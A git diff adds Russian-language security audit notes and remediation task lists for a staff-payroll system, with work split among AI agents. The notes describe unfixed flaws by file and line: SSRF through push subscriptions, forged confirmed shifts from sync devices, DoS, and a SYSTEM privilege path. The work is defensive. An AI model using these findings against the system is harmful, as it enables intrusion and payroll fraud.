Параметры пресетов кроме ставки, процента и гарантии не сохраняются, метрики кроме выручки и позиции не загружаются: официант по пресету получает 0 ₽, премия за порог выручки — 0 ₽ | `service.ts:295-299`, `488-500`; `src/portal-ui.ts:273-275` | по коду | +| K10 (F3) | В cookie лежит сам токен, выход не отзывает сессию; токен сотрудника бессрочный | `portal.ts:262-276` | вживую | +| K11 (F4, A2) | Нет ограничения частоты; каждый неверный токен открывает транзакцию в БД при пуле 10 соединений — отказ в обслуживании | `portal.ts:1276-1296`, `src/infrastructure/database.ts:9` | вживую (F4) | +| K12 (N3) | SSRF через push-подписку: разрешён любой `https://`, редиректы следуются, фрагмент ответа сохраняется | `src/domain/notification/push-dispatcher.ts:80`, `web-push.ts:226-258` | вживую | +| K13 (S1) | Офлайн-синхронизация: устройство создаёт и перезаписывает подтверждённые смены и строки табеля | `src/domain/sync/service.ts:784-990` | вживую, 14 400 ₽ | +| K14 (T4) | Отметки терминала не доходят до сервера: локальные ULID сотрудников сервер не знает (404), повтор каждые 15 с бесконечно; контракт в `docs/TERMINAL-API-REQUIREMENTS.md` расходится с кодом | `apps/KronaStaffTerminal/MainPage.xaml.cs:479-492`, `TerminalModels.cs:157` | по коду + ответ сервера 404 | +| K15 (T1) | Служба создаёт pipe `\\.\pipe\global\KronaStaffTerminalPipe`, интерфейс подключается к `\\.\pipe\KronaStaffTerminalPipe`: IPC не работает, свободное имя может занять любой процесс и получать отметки с ФИО | `apps/KronaStaffTerminal/Services/TerminalIpc.cs:84`, `:236` | проверено запуском | +| K16 (T2) | Служба от LocalSystem выдаёт операторам полный доступ к каталогу данных и сама ротирует там логи и меняет ACL — путь к правам SYSTEM через junction | `TerminalStore.cs:305-360`, `CrashLogService.cs:331-371`, `installer/KronaStaffTerminal.nsi:119` | по коду (механизм), PoC не делался | +| K17 (T5) | Биометрия: нет письменного согласия (152-ФЗ ст. 11), шаблоны остаются в резервных копиях после удаления, уведомления в Telegram — трансграничная передача | `MainPage.xaml.cs:685-776`, `TerminalStore.cs:96-100, 376-384` | по коду | +| K18 (D1 эксплуатации) | Нет резервного копирования пилотной базы с реальными ФИО, табелем и зарплатой; `BACKUP-RESTORE.md` — только шаблон | `docs/BACKUP-RESTORE.md`, `deploy/pilot/` | по коду | +| K19 (D4 расчёта) | Утверждается устаревший расчёт: ревизии смен и выручки не сверяются, предупреждения «нет выручки», «нет профиля оплаты» не сохраняются, сотрудник без профиля выпадает из фонда и его долю делят остальные | `service.ts:632-641`, `840-903` | по коду | + +## 7. P2 + +**Сервер и расчёт** + +- N5 — тест изоляции арендаторов удаляет сотрудников ролью приложения, у которой нет DELETE: CI с базой красный (подтверждено). Маршрутные тесты работают на поддельной базе, поэтому N1 и N2 не ловятся. +- N6 — `create-app-role.mjs` требует мигратора-суперпользователя (подтверждено). +- N7 — импорт-скрипт отключает проверку TLS при `--allow-self-signed` и принимает токен в аргументах командной строки. **Уточнение к Grok:** ответа 400 на `/professions` не будет — Fastify по умолчанию молча отбрасывает лишние поля (`removeAdditional`), поэтому ответ 201, а задуманный код профессии теряется. +- N12, D9 — нет верхних границ ставок и `additionalProperties:false` на назначении оплаты; `2026-13` и `2026-02-30` проходят шаблон и дают 500 (подтверждено). +- F7 — `Idempotency-Key` и таблица ключей не используются, хотя ADR и контракт приложения их требуют. +- F9 — healthcheck в Dockerfile по HTTP при HTTPS-only production. +- F10, A6 — проверка Origin пропускает запросы без Origin и с любым `Authorization`; практическая эксплуатация закрыта `SameSite=Strict`, но должно быть fail-closed. +- A3 — один общий токен терминала на все устройства, отметки до 180 дней назад. +- A4 — ошибки 500 раскрывают текст PostgreSQL (подтверждено). +- D6 — одна роль «менеджер» и считает, и утверждает, и выплачивает, без привязки к точке — разделения обязанностей нет. +- D13 — `additionalProperties:false` в схемах на деле не отклоняет лишние поля, а молча их удаляет: опечатки клиентов не видны. +- D7 — округление строк после деления фонда выплачивает на 1 ₽ больше фонда; вес фонда у правила без доли фонда теряет эту часть фонда. + +**Уведомления и outbox** + +- F6 — outbox пишется, но публикатора нет, `dispatchPending` не вызывается, строки в `pending` не повторяются никогда; отправка живёт в `setImmediate` и теряется при рестарте. +- U1 — некорректные ключи подписки роняют цикл отправки остальным устройствам. +- U2 — нет лимита подписок и таймаутов: одна отметка может породить тысячи запросов. +- U3 — нет захвата строки при отправке: при двух экземплярах возможна двойная отправка. + +**Офлайн-синхронизация** + +- S2 — время отметки задаётся клиентом без ограничений (подтверждено: 2020 год принят). +- S3 — гонки идемпотентности, потеря обновлений без проверки ревизии, одна плохая команда откатывает весь пакет из 100. +- S4 — начальная синхронизация отдаёт устройству весь арендатор, включая уволенных и всю историю минут. +- S5 — курсор теряет изменения за пределами первых 100 строк; изменения из портала устройство не видит. +- S6 — отметки через синхронизацию не пишут outbox и принимаются для уволенных. +- S9 — внешний ключ `ON DELETE SET NULL` на составном ключе ломает удаление точки (подтверждено). + +**Терминал и служба** + +- T3 — член группы операторов может расшифровать состояние: хеш PIN, токены сервера и ботов, токен обновлений, шаблоны отпечатков. +- T6 — служба и интерфейс перезаписывают один файл без межпроцессной блокировки: теряются смена PIN, счётчик попыток, блокировки. +- T7 — установщик не задаёт ACL на выбранный каталог установки; предсозданный пользователем каталог данных остаётся в его владении. +- T8 — терминал запускается с правами администратора после установки и автообновления; через диалог экспорта можно получить оболочку. +- T9 — проверка обновления сильная (HTTPS, SHA-256, Authenticode, закреплённый издатель), но файл проверяется в профиле пользователя и запускается позже (TOCTOU); на каждом терминале лежит токен чтения приватного репозитория. +- T10 — служба от SYSTEM загружает `libzkfp.dll` по PATH, если драйвер не установлен. + +**Эксплуатация** + +- D3 — самоподписанный сертификат на IP: у сотрудников не заработают PWA и push; ключ лежит рядом с pfx незашифрованным; продление ломает пиннинг на всех терминалах. +- D4 — обновление без тегированных образов и отката, без бэкапа перед миграцией, без `lock_timeout`. +- D5 — скрипт настройки терминала пишет не туда, где терминал читает состояние после переноса в `%ProgramData%`. +- D6 — `docker build` в CI внутри docker-раннера, down-миграции в CI не проверяются, пилотный compose тестами не покрыт. + +## 8. P3 (кратко) + +N8 эфемерные VAPID-ключи и кэш публичного ключа на сутки; N9 перепривязка чужого endpoint (подтверждено, но нужен секретный endpoint); N10 справочник профессий без проверки прав; N11 слабая валидация импорта; N13 гонка первого расчёта (не воспроизведена); N14 GET-запросы переписывают правило v1; F12 деньги в `number`; F13 плавающие теги в CI; F14 форматирование 16 файлов; A5 валидация и импорт до проверки прав, открытый `/openapi.json`; A7 новый токен сотрудника без `no-store`; A8 все менеджеры — один актор в аудите; A9 correlation id от клиента; U4 нет политики повторов и dead letter; U5 scope service worker не покрывает `/staff`; U6 выход не отзывает push-подписку; U7 FK без `tenant_id`; S7 очистка входящих не работает (передаётся не тот идентификатор); S8 CSRF и белый список scope устройств; W1 `/staff/*` отвечает 200 на любой путь; T11 DoS через IPC до проверки HMAC; T12 нет backoff в синхронизации терминала; T13 молчаливый откат службы к резервной копии, нет порога совпадения отпечатка; D8 документация расходится с кодом; D9 нет лимитов ресурсов контейнеров; D10 `.dockerignore` не исключает `deploy/pilot/.env` и секреты; D11 миграции из build-стадии от root; D12 smoke-тест ничего не проверяет и пишет в боевую базу; D14 нет редактирования PII в логах; D15 дефолты корневого compose; D16 коммиты без тела и смешанные по темам, 67 файлов bin/obj в истории. + +## 9. Сверка с аудитом Grok + +| ID Grok | Вердикт | Комментарий | +| ---------------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------- | +| F1, F2, F3, F4 | подтверждено | F2–F4 вживую; к F1 добавлено: пилот обходит запрет через `NODE_ENV=development` | +| F5 | исправлено | неизвестный сотрудник → 404 | +| F6 | подтверждено, серьёзнее | строки `pending` не повторяются никогда | +| F7, F9, F12, F13, F14 | подтверждено | F13: `ajv allErrors` в проверке контрактов вектором не является | +| F8 | исправлено по форме, остаток P1 | ACL и HMAC есть, но имена pipe не совпадают (K15) | +| F10 | подтверждено, практически закрыто cookie `SameSite=Strict` | | +| F11 | API есть, но неработоспособно на реальной базе (K3) | | +| N1, N2, N3, N4, N5, N6 | подтверждено вживую | | +| N7 | частично | TLS и токен в argv — да; ответ 400 — нет (поля молча отбрасываются) | +| N8, N11, N12, N14 | подтверждено | | +| N9 | подтверждено вживую | эксплуатация требует знать секретный endpoint | +| N10 | частично | `/professions` — да; `/org-units` для не-менеджеров отфильтрован | +| N13 | не воспроизведено вживую | по коду возможно, оставлено P3 | + +Чего в аудите Grok нет: денежные дефекты K6–K9 и K19, терминал K14–K17, отсутствие бэкапа, пилот в режиме development, ветка синхронизации целиком (она появилась после его аудита). + +## 10. Что сделано хорошо + +- Изоляция арендаторов: RLS с FORCE на всех 23 таблицах, составные внешние ключи, `set_config(..., true)` в транзакции, арендатор никогда не берётся из запроса. +- Роли базы: приложение без SUPERUSER и BYPASSRLS, журналы начислений и аудита — только чтение и вставка на уровне прав. +- Миграции: SHA-256, advisory lock, откат только последней и только явным флагом; работают мигратором без суперпользователя. +- Токены: сравнение за постоянное время, 256 бит, в базе только хеш; cookie `__Host-`, HttpOnly, Secure, SameSite=Strict; CSP `script-src 'self'`, экранирование в портале. +- Web-push: шифрование по RFC 8291/8188 и VAPID реализованы корректно, в уведомлениях нет персональных данных. +- Калькулятор: чистая функция, распределение фонда методом наибольшего остатка, тесты на реальной таблице владельца. +- Терминал: закрыты все прошлые находки по хранилищу и PIN (Argon2id, маркер первичной настройки в HKLM, отличие повреждения от временной ошибки), шаблоны отпечатков не уходят на сервер, автообновление проверяет подпись и издателя. +- Контейнеры не от root, read-only, образы по digest; секретов в истории нет; UTF-8 без BOM и LF соблюдены. + +## 11. Порядок исправлений + +1. **Разблокировать работу на базе:** K3 (одна строка в трёх местах), K4 и сразу интеграционные тесты этих маршрутов на PostgreSQL в CI. +2. **Закрыть открытый доступ и пилот:** K1, K2 (профиль `pilot` с обязательными токенами и HTTPS), K10, K11, бэкап K18. +3. **Деньги:** K5, K6, K7, K8, K9, K19 — до первого боевого расчёта. +4. **Синхронизация (уже в основной ветке):** сразу отключить приём смен и табеля от устройств и не регистрировать устройства в пилоте; затем закрыть K13, S2, S3, S9. +5. **Уведомления:** K12, F6, U1–U3. +6. **Терминал:** K14 (без этого отметки не попадают на сервер), K15, K16, K17. +7. P2 и P3 по мере работы. + +Распределение по исполнителям — в файлах [TASK-CODEX.md](TASK-CODEX.md), [TASK-ANTIGRAVITY.md](TASK-ANTIGRAVITY.md), [TASK-GROK.md](TASK-GROK.md). + +## 12. Решения владельца (2026-09-26) + +**Роли и точки (закрывает вопрос D6):** + +- **бухгалтер** готовит расчёт и ведомость выплат и отправляет пакет на подтверждение; +- **руководитель** получает оповещение, просматривает и подписывает пакет (или возвращает с комментарием); только его подпись регистрирует начисления и выплаты — руководитель проводит оплаты; +- **управляющий** привязан к своим точкам и работает с ними; утверждать и выплачивать не может; +- сотрудники и управляющие **могут работать на других точках**: привязка к основной точке сохраняется, но смена на другой точке допустима и относится к той точке, где отработана. + +**Согласие на обработку биометрии (закрывает вопрос K17):** согласие обязательно; подтверждается в мобильном приложении сотрудника при авторизации. + +Юридическая оговорка для исполнителя: 152-ФЗ требует для биометрии согласия в письменной форме. Электронное согласие равнозначно письменному, если подписано электронной подписью, в том числе простой, при наличии соглашения о её использовании (например, пункт трудового договора или локального акта). Текст согласия и такое соглашение готовит юрист. + +## 13. Локальная ветка + +Ветка `codex/payroll-foundation` удалена по решению владельца. Её незакоммиченные копии, уже влитые в основную ветку коммитом `3464998`, сохранены в `git stash` на случай сверки. diff --git a/docs/audit/2026-09-26/README.md b/docs/audit/2026-09-26/README.md new file mode 100644 index 0000000..ddaf54e --- /dev/null +++ b/docs/audit/2026-09-26/README.md @@ -0,0 +1,22 @@ +# Аудит 2026-09-26 и задания исполнителям + +Рабочая папка аудита: исполнители берут отсюда задания и отчитываются через git. + +| Файл | Что это | +| ------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------- | +| [AUDIT.md](AUDIT.md) | Полный аудит на живой PostgreSQL 17: находки P0–P3, сверка с аудитом Grok, решения владельца | +| [ACCEPTANCE-1.md](ACCEPTANCE-1.md) | Приёмка первого круга работ Grok и Antigravity | +| [TASK-CODEX.md](TASK-CODEX.md) | Codex: сервер, расчёт, база, пилот, терминал, роли, подтверждение и согласие — этапы 0–6 | +| [TASK-ANTIGRAVITY-2.md](TASK-ANTIGRAVITY-2.md) | Antigravity, **текущий круг**: синхронизация, push, оповещения, outbox | +| [TASK-GROK-2.md](TASK-GROK-2.md) | Grok, **текущий круг**: запуск стенда под Windows, сопоставление ID, недостающие сценарии, приёмка | +| [TASK-ANTIGRAVITY.md](TASK-ANTIGRAVITY.md), [TASK-GROK.md](TASK-GROK.md) | Задания первого круга, для истории | +| [evidence/](evidence) | Сценарии живой проверки и их фактический вывод | + +## Как работать + +- Каждый исполнитель работает в своих ветках и только в своей зоне файлов — зоны перечислены в задании. +- Готовность пункта подтверждается зелёным сценарием стенда Grok (`node scripts/test/run-e2e.mjs`) на живой PostgreSQL, а не тестами на поддельной базе. +- Отчёт о выполненном — в описании ветки или коммита: ID, коммит, какой сценарий стал зелёным. +- Приёмку каждой ветки независимо проводит Grok; итог следующего круга появится здесь как `ACCEPTANCE-2.md`. + +Решения владельца (роли, точки, процесс подтверждения, согласие) — раздел 12 в [AUDIT.md](AUDIT.md) и раздел «Решения владельца» в [TASK-CODEX.md](TASK-CODEX.md). diff --git a/docs/audit/2026-09-26/TASK-ANTIGRAVITY-2.md b/docs/audit/2026-09-26/TASK-ANTIGRAVITY-2.md new file mode 100644 index 0000000..568fb91 --- /dev/null +++ b/docs/audit/2026-09-26/TASK-ANTIGRAVITY-2.md @@ -0,0 +1,116 @@ +# Задание для Antigravity, круг 2: синхронизация, push, outbox + +- Репозиторий: https://git.ochenstarik.ru/ochenstarik/krona-staff +- Основа: текущая основная ветка `codex/bootstrap-platform-foundation` (`331e490`) +- Задание самодостаточное; полный аудит и доказательства — в `docs/audit/2026-09-26/`. + +## Итог приёмки прошлого круга + +Ветку `antigravity/fix-reject-device-shifts` (`795bba0`) проверили на живой PostgreSQL 17. + +**Что сработало:** + +- Подделка смены с устройства закрыта. Смена `status: confirmed, worked_minutes: 2880` теперь получает `rejected / COMMAND_NOT_SUPPORTED`. Раньше она начисляла 14 400 ₽, теперь 0 ₽. +- Сценарии Grok SYNC-A и SYNC-B на этой ветке зелёные. + +**Что не так:** + +1. `tests/integration/sync-rejection.test.ts:69-74` на реальной базе падает. Очистка идёт ролью приложения, а у неё нет права DELETE на `staff_timesheet_entries` и `staff_employees`. Проверка внутри теста проходит, но файл красный — значит, на живой базе тест не запускали. +2. Сообщение коммита — один абзац в строке заголовка. Нужен короткий заголовок, а причина — в теле. +3. Из задания сделана только немедленная мера. Остальные части не начаты. + +## Как работать в этом круге + +- **Ветки.** `antigravity/fix-<тема>` от `331e490`, по одной на каждый пункт ниже. Маленькие коммиты: заголовок до 72 символов, причина в теле (AGENTS.md). +- **Проверка на живой базе обязательна.** В репозитории есть стенд Grok (ветка `grok/e2e-harness`, после влития — в основной): + - `scripts/test/provision-pg.mjs` создаёт роли как в пилоте: мигратор без SUPERUSER, приложение без BYPASSRLS; + - `node scripts/test/run-e2e.mjs` прогоняет сценарии на реальном сервере и реальной PostgreSQL 17. + + Пункт считается сделанным, когда соответствующий сценарий стал зелёным. Номера сценариев указаны в таблицах. + +- **Очистка в тестах** — ролью мигратора, как в `tests/integration/tenant-isolation.test.ts` после исправления Grok. Роли приложения удалять запрещено, так задумано. +- **Список известных дефектов.** После каждого исправления сообщи Grok ID сценариев, которые стали зелёными, — он уберёт их из `tests/e2e/known-defects.json`. Сам этот файл не правь: иначе CI упадёт с «дефект исправлен, обновите список». +- **Outbox.** Писать в `staff_outbox` только через общий хелпер, который делает Codex (ветка `codex/fix-live-database`). Во вставке обязательно поле `occurred_at` — без него подтверждение и расчёт падают. + +**Твоя зона:** + +- `src/sync.ts`, `src/domain/sync/**`, миграции синхронизации; +- `src/domain/notification/**`, маршруты `/push/*`; +- service worker и подписка в `src/portal-ui.ts`; +- диспетчер и публикатор outbox. + +**Не трогай:** авторизацию, сотрудников, смены, расчёт, терминал и развёртывание — это зона Codex; `tests/e2e/**` и CI — зона Grok. + +## 1. Довести прошлую ветку (сегодня) + +| Что сделать | Готово, когда | +| --------------------------------------------------------------- | ----------------------------------------- | +| Очистка в `sync-rejection.test.ts` — ролью мигратора | Тест зелёный на живой базе | +| Перебазировать ветку на `331e490`, переписать сообщение коммита | Ветка вливается в основную без конфликтов | + +## 2. Синхронизация на реальной базе не работает (срочно) + +| ID | Что сломано | Где | Готово, когда | +| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | --------------- | +| SYNC-C0 | Начальная загрузка на устройство (`/sync/pull` без курсора) всегда отвечает 500: `column "status" does not exist`. Запрос обращается к столбцу, которого в таблице нет | `src/domain/sync/service.ts`, начальная загрузка | SYNC-C0 зелёный | + +## 3. Синхронизация: остальные дефекты + +| Мой ID | Сценарий Grok | Что сделать | Готово, когда | +| ------ | --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------- | +| S2 | SYNC-J | `occurred_at` — строгий ISO с часовым поясом. Устройство передаёт своё текущее время, сервер вычисляет расхождение часов и ограничивает время отметки относительно момента получения. При большом расхождении — `pending_review`. Сейчас отметка с датой 2020 года принимается | SYNC-J зелёный | +| S3 | SYNC-G | Сначала захватить ключ идемпотентности, потом выполнять команду. `SAVEPOINT` на каждую команду. Проверять ревизию в UPDATE. `source_event_id = sync:{device}:{key}`. Временные отказы не кэшировать | Битая команда не откатывает весь пакет; две параллельные отправки с одним ключом выполняются один раз | +| S4 | SYNC-E, SYNC-F | Начальная загрузка — только по точке устройства, только активные сотрудники, ограниченное окно дат, пагинация в SQL. Отметки уволенных отклонять. Точку брать из устройства; чужую точку в payload отклонять | SYNC-E и SYNC-F зелёные | +| S5 | SYNC-C, SYNC-D | Курсор не теряет данные при `has_more`. Порядок — по фиксации транзакций, а не по `BIGSERIAL`. Изменения из портала видны устройству. Устаревший курсор запускает повторную начальную загрузку | SYNC-C и SYNC-D зелёные | +| S6 | — | Отметки через синхронизацию пишут outbox (через общий хелпер), как онлайн-маршрут | Отметка через синхронизацию порождает событие | +| S7 | — | Очистка входящих получает `tenant_id`, а не идентификатор системного актора (`service.ts:1056`), и запускается по расписанию | — | +| S8 | SYNC-H | Проверка Origin на маршрутах управления устройствами, белый список scope, `no-store` на ответе с токеном устройства | SYNC-H зелёный | +| S9 | попроси Grok добавить | Внешний ключ `(tenant_id, org_unit_id) ON DELETE SET NULL` обнуляет и `tenant_id`, поэтому удаление точки с привязанным устройством падает с `23502`. Новой миграцией заменить на `SET NULL (org_unit_id)` или `RESTRICT` | Точку можно удалить или получить понятный отказ | +| — | SYNC-I | Без настроенных токенов анонимный запрос не должен регистрировать устройство. Сделать вместе с Codex: он закрывает открытый режим без токенов (F2) | SYNC-I зелёный | +| — | SYNC-K | Подтверждение курсора «из будущего» (больше выданного сервером) отклонять с 400 | SYNC-K зелёный | + +## 4. Push-уведомления + +| Мой ID | Сценарий Grok | Что сделать | Готово, когда | +| ------ | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------- | +| K12 | N3 | SSRF: сейчас сотрудник подписывает push на `https://127.0.0.1:…`, и сервер сам туда подключается. Разрешать только известные push-сервисы (FCM, Mozilla, Apple, WNS). После DNS запрещать приватные, loopback и link-local адреса. `redirect: 'manual'`, таймаут 5–10 с, тело ответа не сохранять. Где: `push-dispatcher.ts:80`, `web-push.ts:226-258` | N3 зелёный | +| N9 | N9 | Конфликт endpoint с другим сотрудником — ответ 409. Перепривязка разрешена только тем же браузером | N9 зелёный | +| N8 | — | В production без `VAPID_*` сервер не стартует. Публичный ключ отдавать с `no-cache` | — | +| U1–U4 | — | Проверять ключи подписки при регистрации. Ошибка по одной подписке не прерывает отправку остальным. Не больше 5–10 подписок на сотрудника. Таймаут и лимит чтения ответа 1 КБ. Атомарный захват строки перед отправкой (`sending` плюс аренда), повторы с backoff, dead letter | Два экземпляра сервера не отправляют сообщение дважды | +| U5–U7 | — | Scope service worker покрывает `/staff`. Выход отзывает push-подписку устройства. Составной внешний ключ с `tenant_id` в `staff_notification_deliveries` | — | + +## 5. Оповещения процесса подтверждения (после этапа 4 у Codex) + +Решение владельца: бухгалтер отправляет пакет расчёта и выплат на подтверждение, руководитель получает оповещение, проверяет и подписывает, после чего всё регистрируется. Сам процесс и события делает Codex, от тебя — доставка. + +| Событие | Кому | Содержание | +| --------------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------ | +| `staff.payroll.package_submitted` | Всем с ролью «Руководитель» в арендаторе | Период, число сотрудников, итог, число предупреждений, ссылка на экран подписи | +| `staff.payroll.package_returned` | Бухгалтеру, который отправил пакет | Комментарий руководителя | +| `staff.payroll.package_signed` | Бухгалтеру и сотрудникам из пакета | Сотрудникам — только «начисление за период доступно», без сумм | + +Основной канал — push. Запасной — Telegram, без персональных данных и сумм. Если пакет не подписан за 24 ч (значение настраивается), отправить повторное напоминание. Адресата определять по роли, а не по фиксированному списку. + +Сценарий Grok OWN-03 («каждый руководитель получает ровно одно оповещение») должен стать зелёным. + +## 6. Публикатор outbox + +Вместо `setImmediate` нужен фоновый публикатор: + +- повторяет строки в статусах `pending` и `failed`; +- ставит `published_at`; +- на стороне получателя — идемпотентность через inbox; +- соблюдает политику хранения. + +Готово, когда после перезапуска сервера неотправленные события уходят, а `staff_outbox` не растёт бесконечно. + +## Порядок + +1. Пункт 1, затем пункт 2 — сегодня. +2. Пункты 3 и 4 — параллельно, по одной ветке на пункт. +3. Пункт 5 — когда Codex выпустит события пакета. +4. Пункт 6 — после влития общего хелпера outbox от Codex. + +## Отчёт после каждой ветки + +Ветка, коммит и ID сценариев Grok, которые стали зелёными, — с фактическим выводом `run-e2e`. diff --git a/docs/audit/2026-09-26/TASK-ANTIGRAVITY.md b/docs/audit/2026-09-26/TASK-ANTIGRAVITY.md new file mode 100644 index 0000000..91a8927 --- /dev/null +++ b/docs/audit/2026-09-26/TASK-ANTIGRAVITY.md @@ -0,0 +1,105 @@ +# Задание для Antigravity: синхронизация, уведомления, outbox + +- Репозиторий: https://git.ochenstarik.ru/ochenstarik/krona-staff +- Основа: ветка `codex/bootstrap-platform-foundation`, коммит `778ba2d`. Твоя офлайн-синхронизация в неё уже влита (`3595792`); код такой же, как в проверенном коммите `5ee7517`. +- Материалы в репозитории: `docs/audit/2026-09-26/` — `AUDIT.md` и `evidence/`. Для синхронизации есть живые сценарии: `evidence/live-sync.mjs.txt`, вывод — `evidence/live-sync.txt`. + +## Контекст + +На живой PostgreSQL 17 подтвердилось: + +- **Устройство синхронизации создаёт подтверждённые смены.** Оно отправило смену с `status: confirmed` и `worked_minutes: 2880`. Смена сохранилась подтверждённой без участия управляющего и без записи в журнале аудита. Расчёт начислил по ней 14 400 ₽. Это дефект основной ветки. +- **Отметки задним числом проходят.** Устройство сохранило отметку с датой 2020 года. +- **Точку с устройством нельзя удалить.** Удаление падает с `23502`. +- **Push-подписка даёт доступ во внутреннюю сеть.** Сотрудник подписал push на `https://127.0.0.1:…`, после чего сервер сам открыл туда соединение. + +## Зона ответственности + +**Твоя зона:** + +- офлайн-синхронизация: `src/sync.ts`, `src/domain/sync/**`, миграция `0011`, `docs/OFFLINE-SYNC-PROTOCOL.md`; +- уведомления: `src/domain/notification/**`, маршруты `/push/*` в `src/portal.ts`, миграция `0010`, service worker и подписка в `src/portal-ui.ts`; +- диспетчер и публикатор outbox — всё, что читает `staff_outbox` и доставляет события. + +**Не трогай:** + +- авторизацию, сотрудников, смены, расчёт, импорт, процесс подтверждения, терминал и развёртывание — это Codex; +- `tests/e2e/**`, `tests/integration/tenant-isolation.test.ts`, CI — это Grok. + +**Записывать в outbox** только через общий хелпер, который Codex делает в задаче K3. Свою вставку не пиши: сейчас именно из-за разрозненных вставок без `occurred_at` падают подтверждение и расчёт. + +## Правила + +- Ветки `antigravity/fix-<тема>` от основной, отдельный PR на каждую часть. +- Маленькие коммиты. **В теле каждого коммита объясни причину** (AGENTS.md). +- Перед пушем: `npm run check` и `npm run format:check` зелёные. Миграции проверены вверх и вниз на чистой PostgreSQL 17 мигратором без SUPERUSER. +- Каждое исправление — с тестом на настоящей PostgreSQL, а не только на поддельной базе. +- Пункт считается закрытым, только если соответствующий сценарий из `evidence/live-sync.mjs.txt` или `evidence/live-audit.mjs.txt` больше не воспроизводит дефект. Grok проверяет каждый пункт независимо. + +## Часть 0 — немедленная мера (первым PR, сегодня) + +- Сервер отклоняет от устройств команды `upsert_work_session` и `upsert_timesheet_entry`: ответ «команда не поддерживается», в базу ничего не пишется. Файл: `src/domain/sync/service.ts:784-990`. +- Отдельный маленький PR. Grok проверяет его первым. +- До закрытия S1 и S2 устройства синхронизации в пилоте не регистрировать. + +**Готово, когда:** сценарий S1 из `evidence/live-sync.mjs.txt` больше не создаёт смену. + +## Часть 1 — офлайн-синхронизация + +| ID | Что сделать | Где | Готово, когда | +| ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------- | +| S1 (P1) | Устройство отправляет только события отметок, смены и табель считает сервер (reconcile). Если правка с устройства действительно нужна: отдельный scope, только черновые статусы, запрет трогать `confirmed` и `approved`, запись в журнал аудита | `src/domain/sync/service.ts:784-990` | Команда с `status: confirmed` отклоняется; поддельная смена не попадает в расчёт | +| S2 | `occurred_at` принимать только в строгом ISO с зоной. Устройство передаёт своё текущее время, сервер считает расхождение часов и ограничивает время отметки относительно времени получения. При большом расхождении — статус `pending_review` | `service.ts:659, 723, 756` | Отметка с датой 2020 года отклоняется или уходит на проверку | +| S3 | Сначала захватить ключ идемпотентности, потом выполнять команду. `SAVEPOINT` на каждую команду. Проверка ревизии в `UPDATE`. `source_event_id = sync:{device}:{key}`. Временные отказы не кэшировать | `service.ts:672, 702, 774, 832, 936` | Две параллельные отправки с одним ключом выполняются один раз; одна плохая команда не откатывает весь пакет | +| S4 | Начальная загрузка: только точка устройства, только активные сотрудники, ограниченное окно дат, пагинация в SQL | `service.ts:~380-590, 448` | Устройство не получает уволенных и чужие точки | +| S5 | Курсор не теряет данные при `has_more`. Порядок — по фиксации транзакций, а не по `BIGSERIAL`. Изменения из портала видны устройству. Повторная начальная загрузка при устаревшем курсоре, как обещает протокол | `service.ts:343, 595-600` | — | +| S6 | Отметки через синхронизацию пишут outbox так же, как онлайн-маршрут. Проверять `status = 'active'` сотрудника. Сохранять `org_unit_id` | `service.ts:720-780` | — | +| S9 | Внешний ключ `(tenant_id, org_unit_id) ON DELETE SET NULL` обнуляет и `tenant_id`, поэтому удаление точки падает. Заменить на `SET NULL (org_unit_id)` или `RESTRICT` новой миграцией | `migrations/0011_offline_sync_backend.up.sql:21` | Точку с устройством можно удалить или получить понятный отказ | +| S7 | Очистка входящих должна получать `tenant_id`, а не идентификатор системного актора. Запускать её по расписанию | `service.ts:1056` | — | +| S8 | Проверка Origin на маршрутах управления устройствами. Белый список scope. `no-store` на ответе с токеном устройства | `src/sync.ts:74`, `service.ts:190` | — | + +## Часть 2 — уведомления + +| ID | Что сделать | Где | Готово, когда | +| ------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | +| K12 (N3, P1) | Разрешать только известные push-сервисы: FCM, Mozilla, Apple, WNS. После разрешения DNS запрещать приватные, loopback и link-local адреса. `redirect: 'manual'`, таймаут 5–10 с, тело ответа не сохранять | `src/domain/notification/push-dispatcher.ts:80`, `web-push.ts:226-258` | Подписка на `https://127.0.0.1:…` отклоняется; сценарий N3 не даёт входящего соединения | +| N9 | Конфликт endpoint с другим сотрудником → 409. Перепривязка — только тем же браузером | `push-dispatcher.ts:100-111` | Сценарий N9 отвечает 409 | +| N8 | В production без `VAPID_*` сервер не стартует. Публичный ключ отдавать с `no-cache` | `web-push.ts:80-87`, `src/portal.ts:121-123` | — | +| U1 | Проверять ключи подписки при регистрации. Ошибки отправки обрабатывать отдельно для каждой подписки | `web-push.ts:230`, `push-dispatcher.ts:283` | Неверная подписка не мешает остальным устройствам сотрудника | +| U2 | Не больше 5–10 подписок на сотрудника, таймаут, чтение тела ответа не больше 1 КБ, ограничение параллельности | `web-push.ts:235-258` | — | +| U3, U4 | Атомарный захват строки перед отправкой: статус `sending` плюс аренда. Повторы с backoff и учётом `Retry-After`. Отдельный статус dead letter. Срок хранения `last_error` | `push-dispatcher.ts:233-367` | При двух экземплярах сервера сообщение уходит один раз | +| U5, U6 | Scope service worker должен покрывать `/staff`. Выход из кабинета отзывает push-подписку устройства | `src/portal-ui.ts` (регистрация service worker и выход) | — | +| U7 | Составной внешний ключ с `tenant_id` в `staff_notification_deliveries` | `migrations/0010…up.sql:44` (новой миграцией) | — | + +## Часть 3 — оповещения процесса подтверждения + +Решение владельца: бухгалтер отправляет пакет с расчётом и выплатами на подтверждение, руководитель получает оповещение, проверяет и подписывает, после чего всё регистрируется. Процесс, подпись и события в outbox делает Codex (его этап 4). От тебя — доставка. + +| Событие | Кому | Что в оповещении | +| --------------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------ | +| `staff.payroll.package_submitted` | Всем с ролью «Руководитель» в арендаторе | Период, число сотрудников, итог, число предупреждений; ссылка сразу на экран подписи | +| `staff.payroll.package_returned` | Бухгалтеру, отправившему пакет | Комментарий руководителя | +| 